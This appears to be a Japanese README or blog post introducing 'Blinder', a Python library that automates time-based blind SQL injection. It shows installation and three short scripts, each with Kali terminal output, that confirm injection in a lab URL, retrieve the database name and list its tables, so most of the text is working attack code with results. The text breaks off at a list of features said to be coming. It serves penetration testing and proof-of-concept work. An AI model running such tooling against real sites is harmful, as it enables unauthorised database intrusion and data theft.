
時間ベースのブラインドSQLインジェクションを自動化するPythonライブラリ
Blidnerは、事前定義されたクエリを関数として使用し、迅速なPoC開発を自動化するための小さなPythonライブラリで、時間ベースのブラインドSQLインジェクションを自動化します。
Blinderは以下のコマンドでインストールできます:
pip install blinder
または、ソースをダウンロードしてプロジェクトに手動でインポートすることもできます。
Blinderを使用するには、Blinderモジュールをインポートしてから、Blinderの主要な関数を使い始めます。
現在のバージョンのBlinderを使用して、以下のことができます:
以下のコードを使用して、URL内のインジェクションをチェックできます:
#!/usr/bin/python
import Blinder
blind = Blinder.blinder(
"http://sqli-lab/sql_injection/index.php?search=3",
sleep=1
)
print blind.check_injection()
実行結果は次のようになります:
root@kali:~/Desktop# python check.py
True
root@kali:~/Desktop#
以下のコードを使用してデータベース名を取得できます:
#!/usr/bin/python
import Blinder
blind = Blinder.blinder(
"http://sqli-lab/sql_injection/index.php?search=3",
sleep=1
)
print "Database name is : %s " % blind.get_database()
結果は次のようになります:
root@kali:~/Desktop# python get-database.py
Database name is : db1
root@kali:~/Desktop#
テーブル名を取得するには、次のコードを使用できます:
#!/usr/bin/python
import Blinder
blind = Blinder.blinder(
"http://sqli-lab/sql_injection/index.php?search=3",
sleep=1
)
tables = blind.get_tables()
for table in tables:
print table
結果は次のようになります:
root@kali:~/Desktop# python get-tables.py
blogs
notes
root@kali:~/Desktop#
近いうちに多くの機能が追加される予定です: